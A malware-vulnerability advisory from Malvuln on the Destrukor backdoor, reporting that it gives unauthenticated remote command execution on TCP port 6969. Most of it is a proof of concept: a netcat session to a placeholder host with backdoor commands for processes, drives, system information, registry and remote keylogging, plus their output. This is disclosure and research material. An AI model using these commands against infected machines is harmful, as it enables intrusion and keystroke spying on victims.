Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https://malvuln.com/advisory/c790749f851d48e66e7d59cc2e451956_B.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Destrukor.20 Vulnerability: Unauthenticated Remote Command Execution Description: The malware listens on TCP port 6969. Third-party adversaries who can reach infected hosts can run commands made available by the backdoor. Remote attackers can read anything the victim types by starting the remote key log command "key_on". Some commands in Polish include "podglad", "dyski", "procesy", "wywiad", "rej_klucze1", "offserver" and many others. Family: Destrukor Type: PE32 MD5: c790749f851d48e66e7d59cc2e451956 Vuln ID: MVID-2022-0627 Dropped files: sys32.exe Disclosure: 07/30/2022 Exploit/PoC: C:\>nc64.exe x.x.x.x 6969 podglad podglad_ok140922 dyski C:\ - Dysk lokalny D:\ - CD-ROM procesy procesy C:\Windows\System32\sihost.exe C:\Windows\System32\svchost.exe C:\Windows\System32\taskhostw.exe C:\Windows\System32\ctfmon.exe C:\Windows\explorer.exe C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe C:\Windows\System32\RuntimeBroker.exe C:\Windows\System32\RuntimeBroker.exe C:\Program Files\Process Hacker 2\ProcessHacker.exe C:\Windows\System32\vm3dservice.exe C:\Program Files\VMware\VMware Tools\vmtoolsd.exe C:\Windows\System32\cmd.exe C:\Windows\System32\conhost.exe C:\Windows\System32\cmd.exe C:\Windows\System32\conhost.exe C:\Windows\System32\taskhostw.exe C:\Windows\System32\RuntimeBroker.exe C:\Windows\System32\dllhost.exe C:\Windows\System32\cmd.exe C:\Windows\System32\conhost.exe C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe C:\Windows\sys32.exe wywiad\r\n wywiad Windows 10 Enterprise gg DESKTOP-2C3IQHO 192.168.18.125 2852 12778 C:\WINDOWS 2.0.0 rej_klucze1 AppEvents AppXBackupContentType Console Control Panel Environment EUDC Keyboard Layout Network Printers Software System Volatile Environment key_on @N@O@T@E@P@A@D@[Enter] @[L Ctrl]@A@[<-BckSpc]@[L Shift]@I@ @[L Shift]@D@O@N@T@ @L@I@K@E@ @Y@O@U@1 ===> "I DONT LIKE YOU" offserver Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).